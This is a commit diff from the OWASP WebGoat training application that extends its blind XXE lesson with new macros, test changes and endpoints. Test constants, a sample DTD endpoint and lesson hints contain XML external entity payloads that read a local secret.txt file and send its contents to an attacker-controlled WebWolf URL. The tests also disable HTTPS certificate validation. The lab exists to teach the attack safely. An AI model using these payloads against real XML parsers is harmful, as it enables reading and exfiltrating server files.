xxe path info (#670)
* xxe path info aid added * xxe path info aid added * changes to template file and hints * added ssl test support for XXE * added ssl test support for XXE * restconfig replaced by httpsrelaxed * processed review comments on hints and example
This commit is contained in:
parent
7536770769
commit
663224d06a
@ -35,6 +35,8 @@ import com.google.common.collect.Sets;
|
|||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.asciidoctor.Asciidoctor;
|
import org.asciidoctor.Asciidoctor;
|
||||||
import org.asciidoctor.extension.JavaExtensionRegistry;
|
import org.asciidoctor.extension.JavaExtensionRegistry;
|
||||||
|
import org.owasp.webgoat.asciidoc.OperatingSystemMacro;
|
||||||
|
import org.owasp.webgoat.asciidoc.WebGoatTmpDirMacro;
|
||||||
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
|
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
|
||||||
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
||||||
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
|
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
|
||||||
@ -84,6 +86,8 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
|||||||
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
||||||
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
|
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
|
||||||
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
|
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
|
||||||
|
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
|
||||||
|
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
|
||||||
|
|
||||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||||
return new StringTemplateResource(writer.getBuffer().toString());
|
return new StringTemplateResource(writer.getBuffer().toString());
|
||||||
|
@ -0,0 +1,18 @@
|
|||||||
|
package org.owasp.webgoat.asciidoc;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import org.asciidoctor.ast.AbstractBlock;
|
||||||
|
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||||
|
|
||||||
|
public class OperatingSystemMacro extends InlineMacroProcessor {
|
||||||
|
|
||||||
|
public OperatingSystemMacro(String macroName, Map<String, Object> config) {
|
||||||
|
super(macroName, config);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||||
|
return System.getProperty("os.name");
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,17 @@
|
|||||||
|
package org.owasp.webgoat.asciidoc;
|
||||||
|
|
||||||
|
import org.asciidoctor.ast.AbstractBlock;
|
||||||
|
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class WebGoatTmpDirMacro extends InlineMacroProcessor {
|
||||||
|
|
||||||
|
public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
|
||||||
|
super(macroName, config);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||||
|
return EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
|
||||||
|
}
|
||||||
|
}
|
@ -2,12 +2,6 @@ package org.owasp.webgoat.asciidoc;
|
|||||||
|
|
||||||
import org.asciidoctor.ast.AbstractBlock;
|
import org.asciidoctor.ast.AbstractBlock;
|
||||||
import org.asciidoctor.extension.InlineMacroProcessor;
|
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||||
import org.springframework.core.env.Environment;
|
|
||||||
import org.springframework.util.StringUtils;
|
|
||||||
import org.springframework.web.context.request.RequestContextHolder;
|
|
||||||
import org.springframework.web.context.request.ServletRequestAttributes;
|
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
public class WebGoatVersionMacro extends InlineMacroProcessor {
|
public class WebGoatVersionMacro extends InlineMacroProcessor {
|
||||||
|
@ -39,7 +39,7 @@ public class GeneralLessonTest extends IntegrationTest {
|
|||||||
public void httpProxies() {
|
public void httpProxies() {
|
||||||
startLesson("HttpProxies");
|
startLesson("HttpProxies");
|
||||||
Assert.assertThat(RestAssured.given()
|
Assert.assertThat(RestAssured.given()
|
||||||
.when().config(restConfig).cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
|
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
|
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
|
||||||
.then()
|
.then()
|
||||||
@ -82,7 +82,7 @@ public class GeneralLessonTest extends IntegrationTest {
|
|||||||
checkResults("/auth-bypass/");
|
checkResults("/auth-bypass/");
|
||||||
|
|
||||||
startLesson("HttpProxies");
|
startLesson("HttpProxies");
|
||||||
Assert.assertThat(RestAssured.given().when().config(restConfig).cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
|
Assert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
|
.get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
|
||||||
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||||
@ -101,7 +101,7 @@ public class GeneralLessonTest extends IntegrationTest {
|
|||||||
String result =
|
String result =
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.header("webgoat-requested-by", "dom-xss-vuln")
|
.header("webgoat-requested-by", "dom-xss-vuln")
|
||||||
.header("X-Requested-With", "XMLHttpRequest")
|
.header("X-Requested-With", "XMLHttpRequest")
|
||||||
|
@ -22,12 +22,13 @@ import static io.restassured.RestAssured.given;
|
|||||||
|
|
||||||
public abstract class IntegrationTest {
|
public abstract class IntegrationTest {
|
||||||
|
|
||||||
protected static int WG_PORT = 8080;
|
protected static int WG_PORT = 8843;
|
||||||
protected static int WW_PORT = 9090;
|
protected static int WW_PORT = 9090;
|
||||||
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
|
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
|
||||||
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
|
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
|
||||||
|
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
|
||||||
|
|
||||||
//This also allows to test the application with HTTPS when outside testing option is used
|
//TODO no longer required but will be removed once all usages are removed
|
||||||
protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());
|
protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());
|
||||||
|
|
||||||
@Getter
|
@Getter
|
||||||
@ -42,11 +43,15 @@ public abstract class IntegrationTest {
|
|||||||
@BeforeClass
|
@BeforeClass
|
||||||
public static void beforeAll() {
|
public static void beforeAll() {
|
||||||
|
|
||||||
|
if (WG_SSL) {
|
||||||
|
WEBGOAT_URL = WEBGOAT_URL.replace("http:","https:");
|
||||||
|
}
|
||||||
|
|
||||||
if (!started) {
|
if (!started) {
|
||||||
started = true;
|
started = true;
|
||||||
if (!isAlreadyRunning(WG_PORT)) {
|
if (!isAlreadyRunning(WG_PORT)) {
|
||||||
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
|
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
|
||||||
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_PORT", WG_PORT));
|
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
|
||||||
wgs.run();
|
wgs.run();
|
||||||
|
|
||||||
}
|
}
|
||||||
@ -80,9 +85,10 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
@Before
|
@Before
|
||||||
public void login() {
|
public void login() {
|
||||||
|
|
||||||
String location = given()
|
String location = given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", webgoatUser)
|
.formParam("username", webgoatUser)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.post(url("login")).then()
|
.post(url("login")).then()
|
||||||
@ -92,7 +98,7 @@ public abstract class IntegrationTest {
|
|||||||
if (location.endsWith("?error")) {
|
if (location.endsWith("?error")) {
|
||||||
webGoatCookie = RestAssured.given()
|
webGoatCookie = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", webgoatUser)
|
.formParam("username", webgoatUser)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.formParam("matchingPassword", "password")
|
.formParam("matchingPassword", "password")
|
||||||
@ -106,7 +112,7 @@ public abstract class IntegrationTest {
|
|||||||
} else {
|
} else {
|
||||||
webGoatCookie = given()
|
webGoatCookie = given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", webgoatUser)
|
.formParam("username", webgoatUser)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.post(url("login")).then()
|
.post(url("login")).then()
|
||||||
@ -117,7 +123,7 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
webWolfCookie = RestAssured.given()
|
webWolfCookie = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", webgoatUser)
|
.formParam("username", webgoatUser)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.post(WEBWOLF_URL + "login")
|
.post(WEBWOLF_URL + "login")
|
||||||
@ -132,7 +138,7 @@ public abstract class IntegrationTest {
|
|||||||
public void logout() {
|
public void logout() {
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.get(url("logout"))
|
.get(url("logout"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
@ -146,7 +152,7 @@ public abstract class IntegrationTest {
|
|||||||
public void startLesson(String lessonName) {
|
public void startLesson(String lessonName) {
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url(lessonName + ".lesson.lesson"))
|
.get(url(lessonName + ".lesson.lesson"))
|
||||||
.then()
|
.then()
|
||||||
@ -154,7 +160,7 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/restartlesson.mvc"))
|
.get(url("service/restartlesson.mvc"))
|
||||||
.then()
|
.then()
|
||||||
@ -174,7 +180,7 @@ public abstract class IntegrationTest {
|
|||||||
Assert.assertThat(
|
Assert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.formParams(params)
|
.formParams(params)
|
||||||
.post(url)
|
.post(url)
|
||||||
@ -196,7 +202,7 @@ public abstract class IntegrationTest {
|
|||||||
Assert.assertThat(
|
Assert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.formParams(params)
|
.formParams(params)
|
||||||
.put(url)
|
.put(url)
|
||||||
@ -208,7 +214,7 @@ public abstract class IntegrationTest {
|
|||||||
public void checkResults(String prefix) {
|
public void checkResults(String prefix) {
|
||||||
Assert.assertThat(RestAssured.given()
|
Assert.assertThat(RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/lessonoverview.mvc"))
|
.get(url("service/lessonoverview.mvc"))
|
||||||
.then()
|
.then()
|
||||||
@ -216,7 +222,7 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
Assert.assertThat(RestAssured.given()
|
Assert.assertThat(RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/lessonoverview.mvc"))
|
.get(url("service/lessonoverview.mvc"))
|
||||||
.then()
|
.then()
|
||||||
@ -228,7 +234,7 @@ public abstract class IntegrationTest {
|
|||||||
Assert.assertThat(
|
Assert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.contentType(contentType)
|
.contentType(contentType)
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.body(body)
|
.body(body)
|
||||||
|
@ -76,7 +76,7 @@ public class JWTLessonTest extends IntegrationTest {
|
|||||||
|
|
||||||
String accessToken = RestAssured.given()
|
String accessToken = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/WebGoat/JWT/secret/gettoken"))
|
.get(url("/WebGoat/JWT/secret/gettoken"))
|
||||||
.then()
|
.then()
|
||||||
@ -87,7 +87,7 @@ public class JWTLessonTest extends IntegrationTest {
|
|||||||
Assert.assertThat(
|
Assert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.formParam("token", generateToken(secret))
|
.formParam("token", generateToken(secret))
|
||||||
.post(url("/WebGoat/JWT/secret"))
|
.post(url("/WebGoat/JWT/secret"))
|
||||||
@ -101,7 +101,7 @@ public class JWTLessonTest extends IntegrationTest {
|
|||||||
private void resetVotes() throws IOException {
|
private void resetVotes() throws IOException {
|
||||||
String accessToken = RestAssured.given()
|
String accessToken = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
||||||
.then()
|
.then()
|
||||||
@ -128,7 +128,7 @@ public class JWTLessonTest extends IntegrationTest {
|
|||||||
Assert.assertThat(
|
Assert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.cookie("access_token", replacedToken)
|
.cookie("access_token", replacedToken)
|
||||||
.post(url("/WebGoat/JWT/votings"))
|
.post(url("/WebGoat/JWT/votings"))
|
||||||
|
@ -29,7 +29,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
|
|||||||
|
|
||||||
var responseBody = RestAssured.given()
|
var responseBody = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/mail"))
|
.get(webWolfUrl("/WebWolf/mail"))
|
||||||
.then()
|
.then()
|
||||||
@ -41,7 +41,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
|
|||||||
private void changePassword(String link) {
|
private void changePassword(String link) {
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.formParams("resetLink", link, "password", "123456")
|
.formParams("resetLink", link, "password", "123456")
|
||||||
.post(url("PasswordReset/reset/change-password"))
|
.post(url("PasswordReset/reset/change-password"))
|
||||||
@ -52,7 +52,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
|
|||||||
private String getPasswordResetLinkFromLandingPage() {
|
private String getPasswordResetLinkFromLandingPage() {
|
||||||
var responseBody = RestAssured.given()
|
var responseBody = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("WebWolf/requests"))
|
.get(webWolfUrl("WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
@ -66,7 +66,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
|
|||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.header("host", "localhost:9090")
|
.header("host", "localhost:9090")
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.formParams("email", user)
|
.formParams("email", user)
|
||||||
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
|
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
|
||||||
|
@ -17,14 +17,17 @@ public class XXETest extends IntegrationTest {
|
|||||||
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
|
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
|
||||||
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
|
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
|
||||||
|
|
||||||
private String webGoatHomeDirectory = System.getProperty("user.dir").concat("/target/.webgoat");
|
private String webGoatHomeDirectory;
|
||||||
private String webwolfFileDir = System.getProperty("user.dir").concat("/target/webwolf-fileserver");
|
private String webwolfFileDir;
|
||||||
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void runTests() throws IOException {
|
public void runTests() throws IOException {
|
||||||
startLesson("XXE");
|
startLesson("XXE");
|
||||||
|
|
||||||
|
webGoatHomeDirectory = getWebGoatServerPath();
|
||||||
|
webwolfFileDir = getWebWolfServerPath();
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
|
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
|
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
|
||||||
@ -55,7 +58,7 @@ public class XXETest extends IntegrationTest {
|
|||||||
//upload DTD
|
//upload DTD
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||||
.post(webWolfUrl("/WebWolf/fileupload"))
|
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||||
@ -69,7 +72,7 @@ public class XXETest extends IntegrationTest {
|
|||||||
//read results from WebWolf
|
//read results from WebWolf
|
||||||
String result = RestAssured.given()
|
String result = RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.config(restConfig)
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/requests"))
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
@ -79,4 +82,32 @@ public class XXETest extends IntegrationTest {
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private String getWebGoatServerPath() throws IOException {
|
||||||
|
|
||||||
|
//read path from server
|
||||||
|
String result = RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/WebGoat/xxe/tmpdir"))
|
||||||
|
.then()
|
||||||
|
.extract().response().getBody().asString();
|
||||||
|
result = result.replace("%20", " ");
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getWebWolfServerPath() throws IOException {
|
||||||
|
|
||||||
|
//read path from server
|
||||||
|
String result = RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
|
.get(webWolfUrl("/tmpdir"))
|
||||||
|
.then()
|
||||||
|
.extract().response().getBody().asString();
|
||||||
|
result = result.replace("%20", " ");
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -29,14 +29,17 @@ import org.owasp.webgoat.assignments.AssignmentHints;
|
|||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||||
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @since 4/8/17.
|
* @since 4/8/17.
|
||||||
@ -50,6 +53,11 @@ public class SimpleXXE extends AssignmentEndpoint {
|
|||||||
|
|
||||||
@Value("${webgoat.server.directory}")
|
@Value("${webgoat.server.directory}")
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
|
|
||||||
|
@Value("${webwolf.url.landingpage}")
|
||||||
|
private String webWolfURL;
|
||||||
|
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
private Comments comments;
|
private Comments comments;
|
||||||
|
|
||||||
@ -77,4 +85,20 @@ public class SimpleXXE extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@RequestMapping(path="/xxe/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
||||||
|
@ResponseBody
|
||||||
|
public String getWebGoatHomeDirectory() {
|
||||||
|
return webGoatHomeDirectory;
|
||||||
|
}
|
||||||
|
|
||||||
|
@RequestMapping(path="/xxe/sampledtd",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
||||||
|
@ResponseBody
|
||||||
|
public String getSampleDTDFile() {
|
||||||
|
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||||
|
"<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n" +
|
||||||
|
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n" +
|
||||||
|
"%all;";
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -42,5 +42,5 @@ xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
|
|||||||
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
|
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
|
||||||
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
|
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
|
||||||
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
|
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
|
||||||
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
|
xxe.blind.hints.4=An example DTD can be found [[webgoat base url]]/WebGoat/xxe/sampledtd, include this DTD in the xml comment
|
||||||
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>
|
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "[[webwolf base url]]/files/[[user]]/test.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||||
|
@ -1,21 +1,16 @@
|
|||||||
== Blind XXE assignment
|
== Blind XXE assignment
|
||||||
|
|
||||||
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
||||||
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
|
which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD.
|
||||||
DTD.
|
The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files:
|
||||||
|
|
||||||
|
|
||||||
|===
|
|===
|
||||||
|OS |Location
|
|OS |Location
|
||||||
|
|
||||||
|Linux
|
|`operatingSystem:os[]`
|
||||||
|`/home/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
|`webGoatTempDir:temppath[]/XXE/secret.txt`
|
||||||
|
|
||||||
|Windows
|
|
||||||
|`c:/Users/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
|
||||||
|
|
||||||
|Docker
|
|
||||||
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
|
||||||
|===
|
|===
|
||||||
|
|
||||||
Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]`
|
